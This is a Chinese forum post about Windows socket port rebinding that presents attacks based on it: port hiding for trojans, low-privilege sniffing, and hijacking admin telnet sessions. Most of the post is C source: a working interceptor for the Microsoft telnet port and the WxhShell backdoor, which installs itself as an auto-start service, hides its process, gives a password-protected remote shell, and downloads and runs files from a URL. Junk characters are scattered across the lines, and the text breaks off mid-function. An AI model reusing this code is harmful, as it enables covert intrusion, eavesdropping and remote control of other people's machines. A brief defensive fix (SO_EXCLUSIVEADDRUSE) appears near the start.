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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5yO#N2jY\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \ (3Qqbw  
P22y5z~  
  saddr.sin_family = AF_INET; DKaG?Y,*p  
)U"D4j*p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {d *qlztO  
~(*co[_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6qmo ZAg  
E#&c]9QM75  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4F1.D9u  
r P<d[u  
  这意味着什么?意味着可以进行如下的攻击: 3thG*^C5  
P^uP$D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LRqw\fKk[  
-=v/p*v0o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g9 grfN  
"'&>g4F`o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d=c1WK  
P_^ |KEz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /S2p``E+  
m;$F@JJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !)l%EJngL  
6@ (k8<3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hhh: rmEZl  
af`f*{Co3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0qotC6l~_w  
5Qm.ECXV  
  #include y:^>(l#;  
  #include w;h\Y+Myyk  
  #include p8}5x 2F  
  #include    <*~BG)b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1,*Z_ F=y  
  int main() 1Q2k>q8  
  { EFT02#F_f  
  WORD wVersionRequested; ,*O{jc`(  
  DWORD ret; WMdz+^\(  
  WSADATA wsaData; <or>bo^  
  BOOL val; {XVf|zM,  
  SOCKADDR_IN saddr; ;)bF#@Q  
  SOCKADDR_IN scaddr; GmEJ,%A  
  int err; k:HSB</}  
  SOCKET s; ys"mP* wD  
  SOCKET sc; \8@[bpI@g  
  int caddsize; h#6 jUQ  
  HANDLE mt; NIXcib"tG  
  DWORD tid;   n<Xm%KH.  
  wVersionRequested = MAKEWORD( 2, 2 ); ]J"+VZ_"I  
  err = WSAStartup( wVersionRequested, &wsaData ); *9U4^lJjn  
  if ( err != 0 ) { Xj@    
  printf("error!WSAStartup failed!\n"); 1rvf\[  
  return -1; \Im \*A   
  } dBD4ogo1  
  saddr.sin_family = AF_INET; \qK}(xq[  
   +%cr?g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8d*<Aki?;  
KWuj_.;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xa%ktn  
  saddr.sin_port = htons(23); {bq-: CZe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j}x O34  
  { e>i8=U` ;  
  printf("error!socket failed!\n"); {1-CfQ0 8  
  return -1; =QxE-)v  
  } :R_#'i  
  val = TRUE; +ouy]b0`t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~"4vd 3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7`'fUhB!  
  { DoPF/m}  
  printf("error!setsockopt failed!\n"); 0g*r!aa  
  return -1; eMP Q| W  
  } s R0e&Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qKb- aP-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !kk %;XSZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gm%bxr@X~  
3lrZ-k+S{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >|o9ggL`J5  
  { 1 0Tg > H  
  ret=GetLastError(); Gv2./<{#  
  printf("error!bind failed!\n"); PTc\I  
  return -1; G<WDyoN=O  
  } @W5hrei  
  listen(s,2); a^)4q\E  
  while(1) :tS>D5dz(  
  { zZjLt1  
  caddsize = sizeof(scaddr); u g$\&rM>  
  //接受连接请求 :$Di.|l@7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,I:m*.q  
  if(sc!=INVALID_SOCKET) sZP3xh[B  
  { GyXs{*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5]n<%bP\  
  if(mt==NULL) !Pjg&19  
  { -D^y)  
  printf("Thread Creat Failed!\n"); EvardUB)  
  break; p(&o'{fb  
  } Y`_X@Q  
  } Dqcu$ V]  
  CloseHandle(mt); e.Q K%  
  } 'jlXLb  
  closesocket(s); a>jI_)L  
  WSACleanup(); k)GuMw  
  return 0; \f Fy$  
  }   1?#p !;&  
  DWORD WINAPI ClientThread(LPVOID lpParam) z?> y  
  { 5 Yibv6:3a  
  SOCKET ss = (SOCKET)lpParam; KJ{F,fr+v  
  SOCKET sc; 4JQ`&:?r  
  unsigned char buf[4096]; [q{Txe  
  SOCKADDR_IN saddr; 3 BhA.o  
  long num; +mW$D@Pf  
  DWORD val;  #=~1hk  
  DWORD ret; N~<}\0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 la{:RlW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   oZcwbo8  
  saddr.sin_family = AF_INET; ]?^xc[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6)2M/(  
  saddr.sin_port = htons(23); )tQ6rd'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lJ1xx}k{U  
  { Tq_X8X#p  
  printf("error!socket failed!\n"); b2-|e_x  
  return -1; qy(/   
  } &)}:Y!qiu  
  val = 100; >xMhA`l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t }C ^E  
  { ~I^[rP~  
  ret = GetLastError(); (GOrfr  
  return -1; <hC3#dNRd  
  } 8PVs!?Nne  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W>s9Mp  
  {  v2=!*  
  ret = GetLastError(); [?6D1b[  
  return -1; tnbs]6  
  } +dpj?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^dKaa  
  { g<tTZD\g  
  printf("error!socket connect failed!\n"); |}.B!vg(4  
  closesocket(sc); *H<g9<Dn  
  closesocket(ss); QgM_SY|Rj  
  return -1; ~g6[ [  
  } )$N{(Cke2T  
  while(1) f9=X7"dzP  
  { jY6=+9Jz5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e>9{36~jh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !td.ks0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .-6s`C2 Y}  
  num = recv(ss,buf,4096,0); / H/Ne )r  
  if(num>0) $ttr_4=  
  send(sc,buf,num,0); 2j BE+k"M  
  else if(num==0) 4$w-A-\ t  
  break; BcO2* 3  
  num = recv(sc,buf,4096,0); $5(%M8qmQ  
  if(num>0) }ucg!i3C  
  send(ss,buf,num,0); 5!{g6=(  
  else if(num==0) vszAr( t  
  break; *K)53QKlE  
  } 6]49kHgMhe  
  closesocket(ss); eL4@% ]o  
  closesocket(sc); "T[jQr  
  return 0 ; 69[k ?')LM  
  } P Y<V  
{NqGWkGt*b  
w:@M|O4`  
========================================================== 9f[[%80  
hRcJ):Wyb  
下边附上一个代码,,WXhSHELL lq9h Dn[p  
}H^^v[4  
========================================================== y+x>{!pw  
 +6-!o,(  
#include "stdafx.h" lhODNWi  
`g1~ya(MC  
#include <stdio.h> >~InO^R`5  
#include <string.h> Nn\\}R  
#include <windows.h> I+Cmj]M s0  
#include <winsock2.h> k~F/Ho+R&  
#include <winsvc.h> l@jJJ)Qyk  
#include <urlmon.h> .HJHJ.Js8X  
<xNM@!'\h  
#pragma comment (lib, "Ws2_32.lib") Ot<!YM  
#pragma comment (lib, "urlmon.lib") LA0x6E+I  
@= 9y5r  
#define MAX_USER   100 // 最大客户端连接数 p5BcDYOw`  
#define BUF_SOCK   200 // sock buffer /YR $#&N2  
#define KEY_BUFF   255 // 输入 buffer f|E'eFrFk  
0~+:~$VrT  
#define REBOOT     0   // 重启 tC~itU=V  
#define SHUTDOWN   1   // 关机 bG?[":k  
t!C-G+It  
#define DEF_PORT   5000 // 监听端口 P6'I:/V  
[=!MS?-G  
#define REG_LEN     16   // 注册表键长度 Ik)Q0_<a  
#define SVC_LEN     80   // NT服务名长度 "& |2IA  
:HQ/vVw'"9  
// 从dll定义API |{"7/~*[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !A0bbJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~`f B\7M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h:90K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T ua @w+  
Im#$iPIvT  
// wxhshell配置信息 4 l(o{{  
struct WSCFG { *r3vTgo$  
  int ws_port;         // 监听端口 <3CrCEPC  
  char ws_passstr[REG_LEN]; // 口令 w;_=$L'H&G  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7NEn+OI4  
  char ws_regname[REG_LEN]; // 注册表键名 P dnK@a  
  char ws_svcname[REG_LEN]; // 服务名 8~>3&jX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DR=1';63  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ U|u _S@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PS1~6f"D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yp/*@8%_E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rw% KEUDm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mg]dKp  
Ca|;8ggf  
}; nVD YAg'  
WRM}gWv*  
// default Wxhshell configuration [X]o`  
struct WSCFG wscfg={DEF_PORT, $Yc9><i  
    "xuhuanlingzhe", ^f]pK&MAmN  
    1, WLb7]rCTp  
    "Wxhshell", @I:&ozy }=  
    "Wxhshell", }hxYsI"d  
            "WxhShell Service", ,//=yW  
    "Wrsky Windows CmdShell Service", =G6@:h=  
    "Please Input Your Password: ", |7'W)s5.  
  1, M$9h)3(B  
  "http://www.wrsky.com/wxhshell.exe", h08T Q=n  
  "Wxhshell.exe" &|eQLY #l  
    }; 3.Kdz}  
}X-ggO,  
// 消息定义模块 Cv33?l-8%_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *^()el,d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4+"SG@i`W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $la,_Sr  
char *msg_ws_ext="\n\rExit."; Y.J$f<[R  
char *msg_ws_end="\n\rQuit."; ~~mQ  
char *msg_ws_boot="\n\rReboot..."; C? S%fF  
char *msg_ws_poff="\n\rShutdown..."; *1Q?~  
char *msg_ws_down="\n\rSave to "; oef(i}8O@  
M:E#}(  
char *msg_ws_err="\n\rErr!"; ;{RQ+ZX'[  
char *msg_ws_ok="\n\rOK!"; KivzgNz  
AaVlNjB  
char ExeFile[MAX_PATH]; Pip if.  
int nUser = 0; <LY+" Y  
HANDLE handles[MAX_USER]; /FY_LM  
int OsIsNt; T8LwDqio  
F_`Gs8- VH  
SERVICE_STATUS       serviceStatus; hrK^oa_[W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IT|CfQ [D  
p P&~S<[  
// 函数声明 v3Kqs:"\  
int Install(void); pm+[,u!i  
int Uninstall(void); 3( kZfH~  
int DownloadFile(char *sURL, SOCKET wsh); Sr IynO  
int Boot(int flag); F44")fY  
void HideProc(void); ;7}*Xr|  
int GetOsVer(void); Q>$v~v?9  
int Wxhshell(SOCKET wsl); l"/Os_4O  
void TalkWithClient(void *cs); E:AXnnGKO  
int CmdShell(SOCKET sock); T28#?Lp6]  
int StartFromService(void); 4j5plm=  
int StartWxhshell(LPSTR lpCmdLine); D@e:Fu1\R  
i fUgj8i_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q_bB/   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h.NA$E?7  
Sj\8$QIXC  
// 数据结构和表定义 '4EJ_Vhztc  
SERVICE_TABLE_ENTRY DispatchTable[] = $1YnQgpT  
{ nM#\4Q[}Jh  
{wscfg.ws_svcname, NTServiceMain}, 3c)xNXq m  
{NULL, NULL} } 2KuY\5\i  
}; uP:'e8  
f|!zjX`  
// 自我安装 7-)KTBFL  
int Install(void) ~<-i7uM  
{ Gwe9< y  
  char svExeFile[MAX_PATH]; zKv}J  
  HKEY key; }/|1"D  
  strcpy(svExeFile,ExeFile); rnUe/HjH  
:B im`mHl  
// 如果是win9x系统,修改注册表设为自启动 }I"^WCyH  
if(!OsIsNt) { (Q&Z/Fe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kq+L63fZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HUH=Y;  
  RegCloseKey(key); ;IyQqP#,<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q-'zZ#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8l6R.l  
  RegCloseKey(key); j1)w1WY0@  
  return 0; :7gIm|2"]  
    } {8eNQ-4I  
  } _:J! |'  
} q4{ 6@q  
else { yd $y\pN=<  
K\#+;\V  
// 如果是NT以上系统,安装为系统服务 h1xYQF_`Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N]3XDd|q  
if (schSCManager!=0) ==& =3  
{ ]'Bz%[C)  
  SC_HANDLE schService = CreateService L]Uy+[gg  
  ( &12.|  
  schSCManager, -O\`G<s%  
  wscfg.ws_svcname, c(:GsoO  
  wscfg.ws_svcdisp, d4/ZOj+%  
  SERVICE_ALL_ACCESS, 1:?Wv DN=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \7RP6o  
  SERVICE_AUTO_START, 'Q# KjY  
  SERVICE_ERROR_NORMAL, ].eGsh2  
  svExeFile, V<b"jCXI  
  NULL, >5\rU[H>  
  NULL, =Z2sQQVS  
  NULL, tq{ aa  
  NULL, rc"yEI-``"  
  NULL qSON3Iid  
  ); z' @F@k6  
  if (schService!=0) ~e|~c<!z8@  
  { |#k1a:  
  CloseServiceHandle(schService); <Fi/!  
  CloseServiceHandle(schSCManager); ZDlMkHJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g94NU X  
  strcat(svExeFile,wscfg.ws_svcname); Y`%:hvy~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L49`=p<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }JS?42CTaV  
  RegCloseKey(key); xRb-m$B}L  
  return 0; E=7~\7TE  
    } J^U#dYd  
  } *g7dB2{  
  CloseServiceHandle(schSCManager); > >p3#~/  
} tcfUhSz,I  
} Y>r9"X| &H  
Pt E>08  
return 1; R ~#\gMs  
} f5AK@]4G  
AkGCIn3  
// 自我卸载 5E$)Ip  
int Uninstall(void) L0}"H .  
{ #,Rmu  
  HKEY key; w _n)*he)z  
z"|^Y|`m  
if(!OsIsNt) { tJc9R2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 94Z~]C  
  RegDeleteValue(key,wscfg.ws_regname); m8.sHw  
  RegCloseKey(key); 99vm7"5hQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9M<{@<]dm  
  RegDeleteValue(key,wscfg.ws_regname); c8A //  
  RegCloseKey(key); !$P&`n]@  
  return 0; S7@.s`_{w  
  } G0^NkH,k  
} VHJOj  
} F]x o*  
else { !ce:S!P  
1qtu,yIf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); in$Pk$ c  
if (schSCManager!=0) D{~I  
{ '~2;WF0h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); smJ%^'x  
  if (schService!=0) `8EHhN;  
  { U\P ;,o  
  if(DeleteService(schService)!=0) { :`25@<*u  
  CloseServiceHandle(schService); -W2 !_  
  CloseServiceHandle(schSCManager); L]cZPfI6  
  return 0; a8''t_Dp  
  } lIz"mk  
  CloseServiceHandle(schService); pno]B ld'z  
  } jU/0a=h9  
  CloseServiceHandle(schSCManager); p\1-.  
} <rNCb;  
} 4 QD.'+ L  
!>TH#sU$  
return 1; x pT85D  
} #)z_TM07P  
pPUKx =d  
// 从指定url下载文件 zrri&QDF<  
int DownloadFile(char *sURL, SOCKET wsh) d?S7E q9`  
{ SnRk` 5t  
  HRESULT hr; % [b~4,c1  
char seps[]= "/"; crG+BFi  
char *token; Vv#|% ^0  
char *file; 4fgA3%  
char myURL[MAX_PATH]; '7 SFa]tH  
char myFILE[MAX_PATH]; a~jM^b;VN  
G<U MZg  
strcpy(myURL,sURL); 6x7pqH M  
  token=strtok(myURL,seps); Hn+w1v&3  
  while(token!=NULL) rfku]A$  
  { ?*){%eE  
    file=token; dX?8@uzu  
  token=strtok(NULL,seps); Q)#+S(TG  
  } 8wMu^3r  
&N.D!7X  
GetCurrentDirectory(MAX_PATH,myFILE); u6j\@U6I  
strcat(myFILE, "\\"); q3<Pb,Z  
strcat(myFILE, file); :=3Ty]e  
  send(wsh,myFILE,strlen(myFILE),0); }j;*7x8(  
send(wsh,"...",3,0); *DcJ).  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :_X9x{  
  if(hr==S_OK) (< gk<e*  
return 0; gZ8n[zxf6  
else hi^@969  
return 1; ~RgO9p(dY  
UsP1bh4  
} \4zb9CxOZ  
O0[.*xG  
// 系统电源模块 5srj|'ja  
int Boot(int flag) Hx5t![g2K!  
{ ckG`^<  
  HANDLE hToken; 9)}Nx>K  
  TOKEN_PRIVILEGES tkp; vau0Jn%=ck  
3Uw}!>`%  
  if(OsIsNt) { c0h:Vqk-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w a7)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K =nW|^  
    tkp.PrivilegeCount = 1; lC):$W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gJz~~g'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MZ]#9/  
if(flag==REBOOT) { SkU'JM7<95  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G;Jqby8d  
  return 0; ]#x!mZ!  
} b+7!$  
else { Y=94<e[f"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) no ).70K  
  return 0; M@%$9N)gd  
} KElzYZl8  
  } 99)md   
  else { h' #C$i  
if(flag==REBOOT) { FyY<Vx'yQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M`{~AIqd(  
  return 0; %an"cQ ]  
} &Cv0oi&B  
else { AM?62  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `0'Bg2'  
  return 0; 2vbm=~)$F  
} 7S'3U}Y>VX  
} cG{>[Lf  
NFxs4:] RT  
return 1; ~ A?  
} w&VMb&<  
cVk&Yp;[*  
// win9x进程隐藏模块 _ljdo`j#N  
void HideProc(void) nZ7FG  
{ ] A.:8;  
wd 86 y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); />FgDIO  
  if ( hKernel != NULL ) *?dw`j_b >  
  { :s(vn Ie^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1FC' iGI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1j4(/A  
    FreeLibrary(hKernel); 1T96W :   
  } 0{0BL@H  
^6c=[N$aW  
return; Pi7IBz  
} uj 6dP  
G3r9@ 2OC  
// 获取操作系统版本 -`knSR  
int GetOsVer(void) `GGACH3#s  
{ x|3f$ =b  
  OSVERSIONINFO winfo; 1"7Rs}l7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e&*< "WN  
  GetVersionEx(&winfo); |^ K"#K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h0;PtQb1  
  return 1; 0uZ 'j  
  else C B&$tDi  
  return 0; '(N -jk  
} ^ hoz<Ns  
AC'$~4  
// 客户端句柄模块 {-FS+D`  
int Wxhshell(SOCKET wsl) ^dc~hD  
{ !w+A3Z>V  
  SOCKET wsh; Pi^5LI6JW  
  struct sockaddr_in client; >'\cNM~nf  
  DWORD myID; mI;#Zq_j  
X0IXj%\N  
  while(nUser<MAX_USER) ?<7o\Xk#{  
{ KB3zQJY  
  int nSize=sizeof(client); 8Df(|>mK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TttD}`\.  
  if(wsh==INVALID_SOCKET) return 1; +aa( YGL  
{Vg8pt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yr7%C  
if(handles[nUser]==0) iPnu *29  
  closesocket(wsh); E Ux kYl  
else 4O~E4" ]  
  nUser++; Av3qoH)[<  
  } l,(Mm,3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e~Hx+Qp.G  
'1o1=iJN@$  
  return 0; ,sU#{.(  
} ">?ocJ\9  
c(:qid  
// 关闭 socket +1`Zu$|  
void CloseIt(SOCKET wsh) qJ\tc\  
{ g(9\r  
closesocket(wsh); Y6J7N^  
nUser--; N|G=n9p  
ExitThread(0); ^Md]e<WAp  
} k{fTq KS%h  
qT U(]O1  
// 客户端请求句柄 O^tH43C  
void TalkWithClient(void *cs) !kzC1U  
{ 86.LkwlqoH  
xUp[)B6?:  
  SOCKET wsh=(SOCKET)cs; _'g'M=E  
  char pwd[SVC_LEN]; g\Gx oR  
  char cmd[KEY_BUFF]; w>RBth^p  
char chr[1]; a-P 'h1hbH  
int i,j; "Zu hN(-`  
-85]x)JE  
  while (nUser < MAX_USER) { ~hJ/&,vH!  
;THb6Jz/+  
if(wscfg.ws_passstr) { M!KHBr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8UA bTqB-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ulcm  
  //ZeroMemory(pwd,KEY_BUFF); 8(GH.)I+0  
      i=0;  |7ga9  
  while(i<SVC_LEN) { @ y{i.G  
&}TfJ=gj  
  // 设置超时 uxbDRlOS  
  fd_set FdRead; m\3r<*q6  
  struct timeval TimeOut; kG =nDy  
  FD_ZERO(&FdRead); zjyj,jP  
  FD_SET(wsh,&FdRead); w|~d3]BqT  
  TimeOut.tv_sec=8; 6SYQRK  
  TimeOut.tv_usec=0; lq4vX^S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Qv3g 4iJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?dWfupO{  
@,b:s+]rp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %?o@YwBo^E  
  pwd=chr[0]; Fx^e%":@ip  
  if(chr[0]==0xd || chr[0]==0xa) { IW48Sg  
  pwd=0; UfE41el:  
  break; |sM#nhxK  
  } (-V=&F_  
  i++; =Mg/m'QI  
    } ?;\xeFy!  
h q5=>p  
  // 如果是非法用户,关闭 socket aFI?^"L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yl65|=n e  
} d+9T}? T:*  
m,zZe}oJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P #_8$#G3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c$<7&{Pb  
M4;A4V=W  
while(1) { 8QFn/&Ql$B  
}v0IzGKs  
  ZeroMemory(cmd,KEY_BUFF); &hK5WP6whW  
Dxc`K?M   
      // 自动支持客户端 telnet标准   mY+.(N7m  
  j=0; myp}DI(  
  while(j<KEY_BUFF) { &"V%n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HvITw%`  
  cmd[j]=chr[0]; l:!4^>SC  
  if(chr[0]==0xa || chr[0]==0xd) { s+"[S%  
  cmd[j]=0; jGB2`^&d  
  break; 7e,EI9?.  
  } .O\z:GrSZz  
  j++; F8q&v"  
    } |"[[.Adw9"  
_IAvFJI  
  // 下载文件 T=8> 0D^v5  
  if(strstr(cmd,"http://")) { 5S PGv}if  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %eoO3"//  
  if(DownloadFile(cmd,wsh)) s'LY)_n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1o_:VOG  
  else MKd{ y~'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWb;Xk4  
  } 0T!_;IQ  
  else { Y(WX`\M97  
e_6@oh2s-  
    switch(cmd[0]) { H<dOh5MFh  
  a;p3Me7  
  // 帮助 L+@RK6dq  
  case '?': { GgH=w`;_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )W&H{2No  
    break;  EthnI7Y  
  } N|eus3\E  
  // 安装 w{[OtGIi3  
  case 'i': { S#{e@ C  
    if(Install()) C& 0iWY\a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3n']\V  
    else wK@k}d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wVCZ=\L}  
    break; oDp!^G2A"  
    } `B;^:u  
  // 卸载 /?l@7  
  case 'r': { d$<HMs:o@  
    if(Uninstall()) ,.u7([SGm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VsOn j~@  
    else 8D eRs#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2<Pi2s'  
    break; vMJv.O>HW  
    } *a xOen  
  // 显示 wxhshell 所在路径 H kDT14 `&  
  case 'p': { r8XY"<  
    char svExeFile[MAX_PATH]; }<w/2<T[  
    strcpy(svExeFile,"\n\r"); Y5fwmH,a-  
      strcat(svExeFile,ExeFile); E1:{5F5/  
        send(wsh,svExeFile,strlen(svExeFile),0); 1R)4[oYN\<  
    break; j+Nun  
    } KFHn)+*"  
  // 重启 h^ ex?  
  case 'b': { DPn]de:e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2.O;  
    if(Boot(REBOOT)) i'|rx2]e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xtL_,ug  
    else { Z^9;sb,x  
    closesocket(wsh);  ^G{3x  
    ExitThread(0); gq`gitu0  
    } $Jo[&,  
    break; uJ,>Y# ?  
    } %^xY7!{  
  // 关机 zYfn;s%A  
  case 'd': { [gFpFz|b<  
